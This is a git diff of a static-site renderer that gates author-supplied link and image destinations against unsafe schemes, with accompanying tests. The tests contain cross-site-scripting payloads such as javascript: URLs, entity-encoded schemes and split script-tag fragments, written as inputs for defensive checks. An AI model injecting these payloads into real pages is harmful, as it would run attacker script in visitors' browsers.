   // `pmIcon` is intentionally ignored now (kept in the signature for Cta.astro call-site compat).
+  // 🩸 round 2, P1-1: every button here comes from `splitCtaBody`/`RE_CTA_LINK` — the same author
+  // Markdown destination `inlineHtml` scheme-checks — but this loop built `href` with escAttr
+  // alone. A disallowed destination degrades to the button's OWN classes on a `<span>` (no href,
+  // no live link), keeping its label and arrow visible rather than vanishing.
   const row = all.length ? '<div class="st-cta-btns">' + all.map((b, idx) => {
+    const cls = 'st-cta-btn ' + (idx === 0 ? 'st-cta-btn-primary' : 'st-cta-btn-secondary');
+    if (!isSafeHref(b.href || '')) return '<span class="' + cls + '">' + escHtml(b.label) + '</span>';
     const kind = linkKind(b.href, b.label);
-    return '<a class="st-cta-btn ' + (idx === 0 ? 'st-cta-btn-primary' : 'st-cta-btn-secondary') + '" href="' + escAttr(b.href || '#') + '"' + targetAttrs(kind) + '>' +
+    return '<a class="' + cls + '" href="' + escHrefAttr(b.href || '#') + '"' + targetAttrs(kind) + '>' +
       escHtml(b.label) + '<span class="st-cta-arrow" aria-hidden="true">' + affordanceArrow(kind, 16) + '</span></a>';
   }).join('') + '</div>' : '';
   return { row, caption };
@@ -1508,10 +1715,20 @@ function linkButtonsHtml(buttons, cls) {
   const isGithub = (href) => !!href && /^https?:\/\/(www\.)?github\.com\//i.test(href);
   // `plain:true` entries (e.g. a trailing "Back to X" nav link) render as a bare text link in
   // their natural source position, not button chrome — see heroParts' `singleBackLink` comment.
+  // 🩸 round 2, P1-1: hero/social buttons come from `heroParts`/`socialParts` — the SAME author
+  // Markdown destination as a `cta`, reachable from ordinary page prose via a live production
+  // component (`Hero.astro`) — but this built `href` with escAttr alone. A disallowed destination
+  // degrades to a `<span>` with the button's own classes, never a live href.
   return '<div class="' + cls + '-btns">' + buttons.map((b) => {
-    if (b.plain) return '<a class="' + cls + '-plain" href="' + escAttr(b.href || '#') + '">' + arrowSvg('left', 14) + escHtml(b.label) + '</a>';
+    const safe = isSafeHref(b.href || '');
+    if (b.plain) {
+      if (!safe) return '<span class="' + cls + '-plain">' + arrowSvg('left', 14) + escHtml(b.label) + '</span>';
+      return '<a class="' + cls + '-plain" href="' + escHrefAttr(b.href || '#') + '">' + arrowSvg('left', 14) + escHtml(b.label) + '</a>';
+    }
+    const btnCls = cls + '-btn ' + cls + '-btn-' + (b.primary ? 'primary' : 'secondary');
+    if (!safe) return '<span class="' + btnCls + '">' + (isGithub(b.href) ? githubSvg(16) : '') + escHtml(b.label) + '</span>';
     const kind = linkKind(b.href, b.label);
-    return '<a class="' + cls + '-btn ' + cls + '-btn-' + (b.primary ? 'primary' : 'secondary') + '" href="' + escAttr(b.href || '#') + '"' + targetAttrs(kind) + '>' +
+    return '<a class="' + btnCls + '" href="' + escHrefAttr(b.href || '#') + '"' + targetAttrs(kind) + '>' +
       (isGithub(b.href) ? githubSvg(16) : '') + escHtml(b.label) + affordanceArrow(kind, 16) + '</a>';
   }).join('') + '</div>';
 }
@@ -1537,9 +1754,17 @@ function arrowSvg(direction, size) {
 // Decorative marks (heart/envelope) are NEVER the affordance; if a site wants one it lives
 // OUTSIDE the button. This supersedes the old icon=/mailto→envelope glyph rules.
 function linkKind(href, label) {
-  const h = String(href || '');
+  // round 3, classification consistency: a browser treats `\` exactly like `/` when resolving a
+  // URL, so `\\evil.example`, `/\evil.example` and `//evil.example` are three spellings of the
+  // SAME network-path reference (a different origin) — normalise backslashes to slashes FIRST so
+  // all three take the same branch below, then treat a leading `//` (protocol-relative) as
+  // external. Without the normalisation, the raw `startsWith('/')` check used to call
+  // `//evil.example` internal and `\\evil.example` external — two names for one destination
+  // disagreeing about whether it leaves the site.
+  const h = String(href || '').replace(/\\/g, '/');
   if (/^back to /i.test(String(label || '').trim())) return 'back';
   if (/^mailto:/i.test(h)) return 'mailto';
+  if (h.startsWith('//')) return 'external';
   if (h && !h.startsWith('/') && !h.startsWith('#')) return 'external';
   return 'internal';
 }
@@ -1584,7 +1809,14 @@ function renderSection(s) {
   const type = KNOWN_TYPES.indexOf(s.type) >= 0 ? s.type : 'prose';
   switch (type) {
     case 'hero': {
-      const style = pm.bg ? ' style="background-image:url(' + escAttr(pm.bg) + ')"' : '';
+      // round 4: `bg=` is an author-controlled background-image destination reaching a live CSS
+      // `url()` with no gate (found sweeping every `url(` sink in this file per the R3 review's
+      // sink-class list) — the same sink class as `logo=`/`heroParts` images elsewhere in this
+      // function, gated the same way (`isSafeImageSrc`, since this is an image destination).
+      const bgOk = pm.bg && isSafeImageSrc(pm.bg) ? decodeEntitiesOnce(pm.bg) : null;
+      // round 5 (R4-P3-6): quoted + CSS-string-escaped (cssUrlString), THEN HTML-attribute-escaped
+      // (escAttr) — see cssUrlString's own header for why both layers are required.
+      const style = bgOk ? ' style="' + escAttr('background-image:url("' + cssUrlString(bgOk) + '")') + '"' : '';
       // media variant for a foreground image: avatar (round, default) vs logo (uncropped, not round).
       const media = pm.media === 'logo' ? 'logo' : 'avatar';
       // LEGACY (default) hero — unchanged: h1 + body + single `cta=` param. Live sites rely on this exact
@@ -1629,14 +1861,21 @@ function renderSection(s) {
       const packMasonry = pm.pack === 'masonry' || (pm.pack && typeof pm.pack === 'object' && pm.pack.label === 'masonry');
       const packCols = Math.max(2, parseInt(pm.cols, 10) || 2);
       const cellsArr = (s.cells || []);
+      // 🩸 round 2, P1-1: `c.href`/`c.badgeHref` come from `### Title →href`/`[Label →href]` —
+      // author Markdown parsed the same way a CTA link is, but every branch below built its href
+      // with escAttr alone (truthy-only, no scheme check). Each `hrefOk`/`badgeHrefOk` folds the
+      // check into the EXISTING truthy branch every cell already has for "no link" — a disallowed
+      // destination degrades to that same plain (non-`<a>`) shape.
       const cells = cellsArr.map((c) => {
+        const hrefOk = !!c.href && isSafeHref(c.href);
+        const badgeHrefOk = !!c.badgeHref && isSafeHref(c.badgeHref);
         if (imageCards) {
           const fi = firstImage(c.body);
           const fig = fi.img ? '<figure class="st-gal-fig">' + imgTag(fi.img.alt, fi.img.src) + '</figure>' : '';
           const badge = c.badge ? '<span class="st-cell-badge" data-badge="' + escAttr(c.badge.toLowerCase()) + '">' + inlineHtml(c.badge) + '</span>' : '';
           const inner = fig + badge + '<h3>' + inlineHtml(c.title) + '</h3>' + bodyHtml(fi.rest);
-          return c.href
-            ? '<a class="st-cell st-gal-cell st-cell-link group" href="' + escAttr(c.href) + '">' + inner + '</a>'
+          return hrefOk
+            ? '<a class="st-cell st-gal-cell st-cell-link group" href="' + escHrefAttr(c.href) + '">' + inner + '</a>'
             : '<div class="st-cell st-gal-cell">' + inner + '</div>';
         }
         // optional status badge (`[Soon]`) — a pill the theme colours by data-badge; optional leading
@@ -1650,7 +1889,7 @@ function renderSection(s) {
         // `[Label →href]` badge = a SECONDARY card link (its own action). It can't nest inside the
         // whole-cell <a>, so such a cell uses the OVERLAY pattern: a relative container, an absolute
         // full-cell overlay <a> (the primary link), and the action + "Learn more" stacked above it.
-        const hasAction = !!(c.href && c.badgeHref);
+        const hasAction = hrefOk && badgeHrefOk;
         const inner = ((footTag || hasAction) ? '' : badge) + emoji + '<h3>' + inlineHtml(c.title) + '</h3>' + bodyHtml(c.body);
         // labeled CTA ("<cta>" on the heading) renders the directional arrow; bare href → a chevron.
         // Cells that carry an emoji/badge (status cards) get NO chevron — the badge is the affordance.
@@ -1658,16 +1897,16 @@ function renderSection(s) {
           ? '<span class="st-cell-cta st-cell-cta-labeled"><span class="st-cta-label">' + inlineHtml(c.cta) + '</span>' + arrowSvg(/^https?:\/\//.test(c.href) ? 'up-right' : 'right') + '</span>'
           : (c.badge || c.emoji) ? '' : '<span class="st-cell-cta" aria-hidden="true">›</span>';
         if (hasAction) {
-          const action = '<a class="st-cell-action" href="' + escAttr(c.badgeHref) + '"' + (/^https?:\/\//.test(c.badgeHref) ? ' target="_blank" rel="noopener"' : '') + '>'
+          const action = '<a class="st-cell-action" href="' + escHrefAttr(c.badgeHref) + '"' + (/^https?:\/\//.test(c.badgeHref) ? ' target="_blank" rel="noopener"' : '') + '>'
             + '<span class="st-cta-label">' + inlineHtml(c.badge) + '</span>' + arrowSvg(/^https?:\/\//.test(c.badgeHref) ? 'up-right' : 'right') + '</a>';
           return '<div class="st-cell st-cell-link st-cell-overlaid group">'
-            + '<a class="st-cell-overlay" href="' + escAttr(c.href) + '"' + (/^https?:\/\//.test(c.href) ? ' target="_blank" rel="noopener"' : '') + ' aria-label="' + escAttr(c.title) + '"></a>'
+            + '<a class="st-cell-overlay" href="' + escHrefAttr(c.href) + '"' + (/^https?:\/\//.test(c.href) ? ' target="_blank" rel="noopener"' : '') + ' aria-label="' + escAttr(c.title) + '"></a>'
             + inner + '<div class="st-cell-foot">' + action + cta + '</div></div>';
         }
         const tail = footTag ? '<div class="st-cell-foot">' + badge + cta + '</div>' : cta;
         // a cell with a href is a whole-cell link; the `group` class drives the arrow's hover morph.
-        return c.href
-          ? '<a class="st-cell st-cell-link group" href="' + escAttr(c.href) + '"' + (/^https?:\/\//.test(c.href) ? ' target="_blank" rel="noopener"' : '') + '>' + inner + tail + '</a>'
+        return hrefOk
+          ? '<a class="st-cell st-cell-link group" href="' + escHrefAttr(c.href) + '"' + (/^https?:\/\//.test(c.href) ? ' target="_blank" rel="noopener"' : '') + '>' + inner + tail + '</a>'
           : '<div class="st-cell">' + inner + tail + '</div>';
       });
       let cellsHtml;
@@ -1695,8 +1934,8 @@ function renderSection(s) {
         const badge = c.badge ? '<span class="st-cell-badge" data-badge="' + escAttr(c.badge.toLowerCase()) + '">' + inlineHtml(c.badge) + '</span>' : '';
         const cta = c.cta ? '<span class="st-cell-cta st-cell-cta-labeled"><span class="st-cta-label">' + inlineHtml(c.cta) + '</span></span>' : '';
         const inner = fig + '<h3>' + inlineHtml(c.title) + '</h3>' + bodyHtml(fi.rest) + cta;
-        return c.href
-          ? '<a class="st-gal-cell st-cell-link group" href="' + escAttr(c.href) + '">' + badge + inner + '</a>'
+        return (c.href && isSafeHref(c.href))
+          ? '<a class="st-gal-cell st-cell-link group" href="' + escHrefAttr(c.href) + '">' + badge + inner + '</a>'
           : '<div class="st-gal-cell">' + badge + inner + '</div>';
       }).join('');
       return '<section class="st-gallery" data-cols="' + escAttr(pm.cols || '') + '">' +
@@ -1714,8 +1953,8 @@ function renderSection(s) {
         const badge = c.badge ? '<span class="st-cell-badge" data-badge="' + escAttr(c.badge.toLowerCase()) + '">' + inlineHtml(c.badge) + '</span>' : '';
         const cta = c.cta ? '<span class="st-cell-cta st-cell-cta-labeled"><span class="st-cta-label">' + inlineHtml(c.cta) + '</span></span>' : '';
         const inner = fig + '<h3>' + inlineHtml(c.title) + '</h3>' + bodyHtml(fi.rest) + cta;
-        return c.href
-          ? '<a class="st-car-cell st-gal-cell st-cell-link group" href="' + escAttr(c.href) + '">' + badge + inner + '</a>'
+        return (c.href && isSafeHref(c.href))
+          ? '<a class="st-car-cell st-gal-cell st-cell-link group" href="' + escHrefAttr(c.href) + '">' + badge + inner + '</a>'
           : '<div class="st-car-cell st-gal-cell">' + badge + inner + '</div>';
       }).join('');
       // `more="LABEL=/href"` — optional "view all" link top-right of the heading row (mirrors Carousel.astro).
@@ -1723,9 +1962,11 @@ function renderSection(s) {
       const more = moreRaw && String(moreRaw).includes('=')
         ? { label: String(moreRaw).split('=')[0].trim(), href: String(moreRaw).split('=').slice(1).join('=').trim() }
         : null;
+      const moreOk = more && isSafeHref(more.href);
       const head = (s.title || more)
         ? '<div class="st-car-head">' + (s.title ? '<h2>' + inlineHtml(s.title) + '</h2>' : '') +
-          (more ? '<a class="st-car-more" href="' + escAttr(more.href) + '">' + inlineHtml(more.label) + '</a>' : '') + '</div>'
+          (moreOk ? '<a class="st-car-more" href="' + escHrefAttr(more.href) + '">' + inlineHtml(more.label) + '</a>'
+            : more ? '<span class="st-car-more">' + inlineHtml(more.label) + '</span>' : '') + '</div>'
         : '';
       return '<section class="st-carousel" data-cols="' + escAttr(pm.cols || '') + '">' +
         head + bodyHtml(s.body) +
@@ -1770,14 +2011,18 @@ function renderSection(s) {
         // row the name stays text and every destination is reachable from the row, so a card
         // never has two competing "the" links.
         const nm = inlineHtml(p.title);
-        const name = p.href
-          ? '<h3 class="st-person-name"><a href="' + escAttr(p.href) + '"' + (/^https?:\/\//.test(p.href) ? ' target="_blank" rel="noopener"' : '') + '>' + nm + '</a></h3>'
+        const name = (p.href && isSafeHref(p.href))
+          ? '<h3 class="st-person-name"><a href="' + escHrefAttr(p.href) + '"' + (/^https?:\/\//.test(p.href) ? ' target="_blank" rel="noopener"' : '') + '>' + nm + '</a></h3>'
           : '<h3 class="st-person-name">' + nm + '</h3>';
         const rl = p.badge
           ? '<span class="st-person-roles">' + roles(p.badge).map((x) => '<span class="st-person-role">' + escHtml(x) + '</span>').join('') + '</span>'
           : '';
+        // 🩸 round 2, P1-1: each `l.href` is an author destination (a person's named link row);
+        // a disallowed one degrades to a plain `<span>` instead of a live `<a>`.
         const lk = (p.links && p.links.length)
-          ? '<div class="st-person-links">' + p.links.map((l) => '<a class="st-person-link" href="' + escAttr(l.href) + '"' + (/^https?:\/\//.test(l.href) ? ' target="_blank" rel="noopener"' : '') + '>' + escHtml(l.label) + '</a>').join('') + '</div>'
+          ? '<div class="st-person-links">' + p.links.map((l) => isSafeHref(l.href)
+              ? '<a class="st-person-link" href="' + escHrefAttr(l.href) + '"' + (/^https?:\/\//.test(l.href) ? ' target="_blank" rel="noopener"' : '') + '>' + escHtml(l.label) + '</a>'
+              : '<span class="st-person-link">' + escHtml(l.label) + '</span>').join('') + '</div>'
           : '';
         return '<div class="st-person"' + (p.tone ? ' data-tone="' + escAttr(p.tone) + '"' : '') + '>' +
           fig + name + rl + '<div class="st-person-body">' + bodyHtml(fi.rest) + '</div>' + lk + '</div>';
@@ -1799,8 +2044,10 @@ function renderSection(s) {
       const gid = (t) => 'group-' + slugify(t, 'g');
       const badges = (b) => String(b || '').split('·').map((x) => x.trim()).filter(Boolean);
       const linkIsGh = pm.link && typeof pm.link === 'object' && /github\.com/.test(pm.link.href);
-      const link = pm.link && typeof pm.link === 'object'
-        ? '<a class="st-collection-link' + (linkIsGh ? ' st-collection-link-gh' : '') + '" href="' + escAttr(pm.link.href) + '"' + (/^https?:\/\//.test(pm.link.href) ? ' target="_blank" rel="noopener"' : '') + '><span>' + escHtml(pm.link.label) + '</span>' + arrowSvg(/^https?:\/\//.test(pm.link.href) ? 'up-right' : 'right', 16) + '</a>' : '';
+      const linkOk = pm.link && typeof pm.link === 'object' && isSafeHref(pm.link.href);
+      const link = linkOk
+        ? '<a class="st-collection-link' + (linkIsGh ? ' st-collection-link-gh' : '') + '" href="' + escHrefAttr(pm.link.href) + '"' + (/^https?:\/\//.test(pm.link.href) ? ' target="_blank" rel="noopener"' : '') + '><span>' + escHtml(pm.link.label) + '</span>' + arrowSvg(/^https?:\/\//.test(pm.link.href) ? 'up-right' : 'right', 16) + '</a>'
+        : (pm.link && typeof pm.link === 'object') ? '<span class="st-collection-link"><span>' + escHtml(pm.link.label) + '</span></span>' : '';
       const head = '<div class="st-collection-head">' + (s.title ? '<h2>' + inlineHtml(s.title) + '</h2>' : '') + bodyHtml(s.body) + link + '</div>';
       const eyebrow = pm.eyebrow ? '<p class="st-collection-eyebrow">' + escHtml(typeof pm.eyebrow === 'object' ? pm.eyebrow.label : pm.eyebrow) + '</p>' : '';
       const pills = multi ? '<nav class="st-collection-pills" aria-label="Categories">' +
@@ -1814,10 +2061,18 @@ function renderSection(s) {
           // 🩸 corrected 2026-07-05: live only wraps "View on GitHub" as an <a> when there's ALSO a
           // learn page (the card-wide link then targets learn, so GH needs its own anchor); without
           // one, the whole card already links to GitHub and live renders it as plain text.
-          const ghTag = it.learn ? 'a' : 'span';
+          // 🩸 round 2, P1-1: `it.href`/`it.learn` only ever became live hrefs when the OTHER
+          // field was also present (see the 2026-07-05 comment above); now both additionally
+          // require isSafeHref, degrading to the plain (no-href) shape either branch already has.
+          // (round 3, R2-P1-1: the anchor for `it.href` must gate on isSafeHref(it.href) itself —
+          // gating it on `learnOk` validated the wrong field and let a bad it.href go live
+          // whenever it.learn happened to be safe.)
+          const ghOk = it.href && isSafeHref(it.href);
+          const learnOk = it.learn && isSafeHref(it.learn);
+          const ghTag = (ghOk && learnOk) ? 'a' : 'span';
           const meta = (it.href || it.learn) ? '<div class="st-item-meta">' + (it.updated ? '<span class="st-item-updated">Updated ' + escHtml(it.updated) + '</span>' : '') +
-            (it.href ? '<' + ghTag + ' class="st-item-gh"' + (it.learn ? ' href="' + escAttr(it.href) + '" target="_blank" rel="noopener"' : '') + '>View on GitHub ' + arrowSvg('up-right', 12) + '</' + ghTag + '>' : '') +
-            (it.learn ? '<a class="st-item-learn" href="' + escAttr(it.learn) + '">Learn more ' + arrowSvg('right', 12) + '</a>' : '') + '</div>' : '';
+            (it.href ? '<' + ghTag + ' class="st-item-gh"' + ((ghOk && learnOk) ? ' href="' + escHrefAttr(it.href) + '" target="_blank" rel="noopener"' : '') + '>View on GitHub ' + arrowSvg('up-right', 12) + '</' + ghTag + '>' : '') +
+            (learnOk ? '<a class="st-item-learn" href="' + escHrefAttr(it.learn) + '">Learn more ' + arrowSvg('right', 12) + '</a>' : '') + '</div>' : '';
           return '<div class="st-cell st-item"><div class="st-item-head"><h4>' + inlineHtml(it.title) + '</h4>' + bdg + '</div>' + bodyHtml(it.body) + tags + meta + '</div>';
         }).join('');
         return '<div class="st-collection-group"><p class="st-collection-group-head" id="' + gid(g.title) + '">' + inlineHtml(g.title) + '</p><div class="st-cells">' + cards + '</div></div>';
@@ -1868,7 +2123,11 @@ function renderSection(s) {
       // inline links. Body is a markdown list of `- [Label](/href)`; each becomes an `.st-tag`
       // anchor laid out inline-wrapping. General — any site with a tag/category cloud module.
       const links = tagcloudLinks(s.body);
-      const tags = links.map((l) => '<a class="st-tag" href="' + escAttr(l.href) + '">' + inlineHtml(l.label) + '</a>').join('');
+      // 🩸 round 2, P1-1: each tag is an author `[Label](href)` destination, same class as a CTA
+      // link; a disallowed one degrades to a plain `<span>` tag, never a live href.
+      const tags = links.map((l) => isSafeHref(l.href)
+        ? '<a class="st-tag" href="' + escHrefAttr(l.href) + '">' + inlineHtml(l.label) + '</a>'
+        : '<span class="st-tag">' + inlineHtml(l.label) + '</span>').join('');
       return '<section class="st-tagcloud">' + (s.title ? '<h2>' + inlineHtml(s.title) + '</h2>' : '') +
         '<div class="st-tag-flow">' + tags + '</div></section>';
     }
@@ -1924,7 +2183,16 @@ function withSectionId(html, id) {
   return html.replace(/^(<section class="[^"]*")/, '$1 id="' + escAttr(id) + '"');
 }
 
+// round 2, P1-2: page-level entry point for the drop-warning queue (see `_dropWarnings` above) —
+// stamps whatever isSafeHref/isSafeImageSrc recorded DURING this one render with the page it
+// happened on, so a caller that wants diagnostics doesn't have to guess which page produced them.
+function _stampDropWarnings(site, before) {
+  if (_dropWarnings.length === before) return;
+  const page = String((site.meta || {})[FRONTMATTER_KEY] || (site.meta || {}).title || '(untitled)');
+  for (let i = before; i < _dropWarnings.length; i++) _dropWarnings[i].page = page;
+}
 function renderSiteToHtml(site) {
+  const _before = _dropWarnings.length;
   const sectionsHtml = (site.sections || []).map((s) => withSectionId(renderSection(s), s.id)).join('\n');
   // `layout: sidebar` — two-column shell: fixed sidebar + main content column.
   // All other values (or absent) fall through to the current single-column output.
@@ -1934,24 +2202,38 @@ function renderSiteToHtml(site) {
       '<div class="st-sidebar-group">' +
       (g.head ? '<p class="st-sidebar-group-head">' + escHtml(g.head) + '</p>' : '') +
       '<ul class="st-sidebar-list">' +
-      g.items.map((it) => '<li>' + (it.href
-        ? '<a href="' + escAttr(it.href) + '">' + escHtml(it.label) + '</a>'
+      // 🩸 round 2, P1-1: `it.href` is author `sidebar-nav:` frontmatter, the same class of
+      // destination as any other coral link; folded into the EXISTING "no href" fallback branch.
+      g.items.map((it) => '<li>' + ((it.href && isSafeHref(it.href))
+        ? '<a href="' + escHrefAttr(it.href) + '">' + escHtml(it.label) + '</a>'
         : '<span>' + escHtml(it.label) + '</span>') + '</li>').join('') +
       '</ul></div>'
     ).join('');
     // The site logo lives at the TOP of the sidebar (WP/Blogger sidebar-theme convention:
     // brand wordmark above the nav), not in a top header band. General for any sidebar site.
-    const sbLogo = (site.meta || {})['site-logo']
-      ? '<a class="st-sidebar-logo" href="/"><img src="' + escAttr(String((site.meta || {})['site-logo']).trim()) + '" alt="' + escAttr((site.meta || {}).title || '') + '" /></a>'
+    // 🩸 round 2, P1-1/P1-2: `site-logo` is an image src built by hand here (not via imgTag), so
+    // it needs its own isSafeImageSrc gate — a disallowed value now drops the whole logo block
+    // rather than reaching a live `<img src>`.
+    const sbLogoSrc = String((site.meta || {})['site-logo'] || '').trim();
+    const sbLogo = (sbLogoSrc && isSafeImageSrc(sbLogoSrc))
+      ? '<a class="st-sidebar-logo" href="/"><img src="' + escHrefAttr(sbLogoSrc) + '" alt="' + escAttr((site.meta || {}).title || '') + '" /></a>'
       : '';
+    _stampDropWarnings(site, _before);
     return '<div class="st-sidebar-layout">' +
       '<aside class="st-sidebar">' + sbLogo + '<nav class="st-sidebar-nav" aria-label="Sidebar">' + navHtml + '</nav></aside>' +
       '<div class="st-sidebar-main">' + sectionsHtml + '</div>' +
       '</div>';
   }
+  _stampDropWarnings(site, _before);
   return sectionsHtml;
 }
 
+// round 2, P1-2: opt-in read of the drop-warning queue — returns every {page, scheme, dest}
+// recorded since the last call and CLEARS it (so warnings are never double-reported across
+// separate takeDropWarnings() calls, e.g. one per build). A build script logs these; nothing in
+// this file requires a caller to read them, so existing callers of renderSiteToHtml are unaffected.
+function takeDropWarnings() { return _dropWarnings.splice(0); }
+
 // ── derived page description ─────────────────────────────────────────────────────────────────────
 // A page with no `description:` in its frontmatter used to emit no <meta description>, no
 // og:description and no twitter:description at all — so its search snippet and every share card
@@ -2008,4 +2290,12 @@ export {
   parseSidebarNav,
   FRONTMATTER_KEY, KNOWN_TYPES, SITE_LAYER_KEYS,
   deriveDescription, DESC_MAX,
+  // round 2, P1-2: opt-in diagnostics for destinations dropped by the shared safe-href/safe-src
+  // policy — see takeDropWarnings' own comment. Additive; no existing export's shape changed.
+  takeDropWarnings,
+  // round 3: the Astro layer's front door to the same policy — see safeHref's own comment.
+  safeHref, safeSrc,
+  // round 5: the CSS-string escape a gated destination needs before an unquoted url() token —
+  // see cssUrlString's own comment.
+  cssUrlString,
 };
diff --git a/packages/sitetile/site-core.test.js b/packages/sitetile/site-core.test.js
index 048b484..1864c67 100644
--- a/packages/sitetile/site-core.test.js
+++ b/packages/sitetile/site-core.test.js
@@ -4,7 +4,8 @@
 import assert from 'node:assert/strict';
 import {
   parseSite, serializeSite, isSiteFile, renderSiteToHtml, parseParams, FRONTMATTER_KEY,
-  ctaButtonsHtml, linkButtonsHtml, bodyHtml,
+  ctaButtonsHtml, linkButtonsHtml, bodyHtml, inlineHtml, ctaHtml, takeDropWarnings,
+  safeHref, safeSrc,
 } from './site-core.js';
 
 let passed = 0;
@@ -142,7 +143,9 @@ test('render: each of the 5 types emits its st- section', () => {
 
 test('render: hero bg → background-image, cta param → anchor', () => {
   const html = renderSiteToHtml(parseSite(CANON));
-  assert.ok(html.includes('background-image:url(cover.jpg)'), 'hero bg');
+  // round 5 (R4-P3-6): bg= now emits a QUOTED, CSS-string-escaped url() — see cssUrlString's own
+  // comment for why an unquoted url() token was a CSS-declaration-injection sink.
+  assert.ok(html.includes('background-image:url(&quot;cover.jpg&quot;)'), 'hero bg');
   assert.ok(html.includes('<a class="st-hero-cta" href="/signup">Get started</a>'), 'hero cta anchor');
   assert.ok(html.includes('<a class="st-cta-btn st-cta-btn-primary" href="/signup">Sign up<span class="st-cta-arrow" aria-hidden="true"><span class="signet-arrow"'), 'cta button anchor carries the interactive signet-arrow (internal → right), not a static ↗ glyph');
 });
@@ -634,6 +637,271 @@ test('links: a URL with a matched pair of underscores stays a link (emphasis mus
   assert.ok(!html.includes(']\(http'), 'no literal markdown link syntax left on the page');
 });
 
+test('link destination containing angle brackets is escaped before it is restored', () => {
+  // A destination-shaped `](…)` fragment used to be restored RAW into the page, whether or
+  // not it actually sat inside a real link — letting two unrelated fragments splice a live tag
+  // into otherwise ordinary prose.
+  const input = 'Hi ](<script>alert`1`;//) x ](</script>) bye';
+  const html = inlineHtml(input);
+  assert.ok(!html.includes('<script'), 'no live <script> element in the output');
+  assert.ok(html.includes('&lt;script&gt;'), 'the angle brackets are entity-escaped');
+});
+
+test('a normal link destination keeps its ampersand escaped and is otherwise unchanged', () => {
+  const html = inlineHtml('[a](https://x/y?z=1&w=2)');
+  assert.ok(html.includes('href="https://x/y?z=1&amp;w=2"'), 'the & in the query string is escaped in the href');
+  assert.equal(html, '<a href="https://x/y?z=1&amp;w=2" target="_blank" rel="noopener">a</a>');
+});
+
+test('a link destination with a disallowed scheme renders as text, not a live href', () => {
+  const html = inlineHtml('[a](javascript:alert(1))');
+  assert.ok(!html.includes('href='), 'no href attribute at all');
+  assert.ok(!html.includes('<a '), 'no anchor tag at all');
+});
+
+test('an image destination with a disallowed scheme renders no <img>', () => {
+  const html = inlineHtml('![alt text](javascript:alert(1))');
+  assert.ok(!html.includes('<img'), 'no <img> tag');
+  assert.ok(!html.includes('src='), 'no src attribute at all');
+});
+
+test('a normal image destination is unaffected by the scheme check', () => {
+  const html = inlineHtml('![alt](/images/x.png)');
+  assert.equal(html, '<img class="st-img" src="/images/x.png" alt="alt" loading="lazy" decoding="async">');
+});
+
+// ── round 2: widened allowlist (P1-2) ─────────────────────────────────────────────────────────
+
+test('tel:/sms:/ftp: destinations are live links, not silently dropped', () => {
+  assert.equal(inlineHtml('[Call](tel:+1234567890)'), '<a href="tel:+1234567890">Call</a>');
+  assert.equal(inlineHtml('[SMS](sms:+1)'), '<a href="sms:+1">SMS</a>');
+  assert.equal(inlineHtml('[F](ftp://x.example/f)'), '<a href="ftp://x.example/f">F</a>');
+});
+
+test('a raster data: image src is allowed; data:image/svg+xml is not', () => {
+  const html = inlineHtml('![i](data:image/png;base64,iVBORw0KGgo=)');
+  assert.equal(html, '<img class="st-img" src="data:image/png;base64,iVBORw0KGgo=" alt="i" loading="lazy" decoding="async">');
+  const svg = inlineHtml('![i](data:image/svg+xml;base64,PHN2Zz4=)');
+  assert.ok(!svg.includes('<img'), 'svg+xml never becomes a live <img>');
+  assert.equal(svg, 'i');
+});
+
+test('data: is never allowed on a plain href, even an image MIME', () => {
+  const html = inlineHtml('[a](data:image/png;base64,iVBORw0KGgo=)');
+  assert.ok(!html.includes('<a '), 'data: on an anchor stays plain text');
+  assert.equal(html, 'a');
+});
+
+test('a disallowed destination records one build-time drop warning naming the page and scheme', () => {
+  takeDropWarnings(); // drain anything left by an earlier test
+  const src = '---\nsitetile-page: contact\ntitle: T\n---\n\n## H\n%% sitetile: prose %%\n[a](javascript:alert(1)\n';
+  renderSiteToHtml(parseSite(src));
+  const warnings = takeDropWarnings();
+  assert.equal(warnings.length, 1, 'exactly one warning for the one disallowed destination');
+  assert.equal(warnings[0].page, 'contact');
+  assert.equal(warnings[0].scheme, 'javascript:');
+  assert.deepEqual(takeDropWarnings(), [], 'the queue is drained after being read');
+});
+
+test('a newly-allowed scheme (tel:) records no drop warning', () => {
+  takeDropWarnings();
+  const src = '---\nsitetile-page: t\n---\n\n## H\n%% sitetile: prose %%\n[Call](tel:+1)\n';
+  renderSiteToHtml(parseSite(src));
+  assert.deepEqual(takeDropWarnings(), []);
+});
+
+// ── round 2: decode-once-escape-once (P2-1) ──────────────────────────────────────────────────
+
+test('a destination already carrying an entity-escaped ampersand is not double-escaped', () => {
+  const html = inlineHtml('[a](https://x/y?z=1&amp;w=2)');
+  assert.equal(html, '<a href="https://x/y?z=1&amp;w=2" target="_blank" rel="noopener">a</a>');
+});
+
+test('a destination with a literal ampersand still gets single-escaped (unchanged behavior)', () => {
+  const html = inlineHtml('[a](https://x/y?z=1&w=2)');
+  assert.equal(html, '<a href="https://x/y?z=1&amp;w=2" target="_blank" rel="noopener">a</a>');
+});
+
+test('an entity-encoded javascript: scheme is rejected by the scheme check itself', () => {
+  assert.equal(inlineHtml('[a](javascript&#58;alert1)'), 'a');
+  assert.equal(inlineHtml('[a](javascript&#x3a;alert1)'), 'a');
+});
+
+// ── round 2: wikilink embeds are scheme-checked too (P2-2) ───────────────────────────────────
+
+test('a ![[wikilink]] embed with a disallowed scheme renders no live element', () => {
+  const html = inlineHtml('![[javascript:alert(1)]]');
+  assert.ok(!html.includes('<img'), 'no <img>');
+  assert.ok(!html.includes('src='), 'no src attribute at all');
+});
+
+test('a ![[wikilink]] embed with a safe destination is unaffected', () => {
+  const html = inlineHtml('![[photos/cover.jpg]]');
+  assert.equal(html, '<img class="st-img" src="photos/cover.jpg" alt="cover.jpg" loading="lazy" decoding="async">');
+});
+
+// ── round 2: every href/src emitter routes through the shared policy (P1-1) ─────────────────
+
+test('ctaHtml: a disallowed cta= href degrades to a plain span, never a live link', () => {
+  const html = ctaHtml({ label: 'Go', href: 'javascript:alert(1)' }, 'st-hero-cta');
+  assert.equal(html, '<span class="st-hero-cta">Go</span>');
+});
+
+test('ctaButtonsHtml: a disallowed body-link button degrades to a plain span', () => {
+  // A destination containing `)` truncates RE_CTA_LINK's match (pre-existing, unrelated to this
+  // fix — see the round-1 review's P3-4) and this paragraph would then fail `onlyLinks` and be
+  // read as caption prose instead of a button at all; the backtick-call form avoids that so THIS
+  // test exercises the button path.
+  const { row } = ctaButtonsHtml(null, '[Donate](javascript:alert`1`)');
+  assert.ok(!row.includes('href='), 'no href attribute at all');
+  assert.ok(row.includes('<span class="st-cta-btn st-cta-btn-primary">Donate</span>'), 'label survives as plain text');
+});
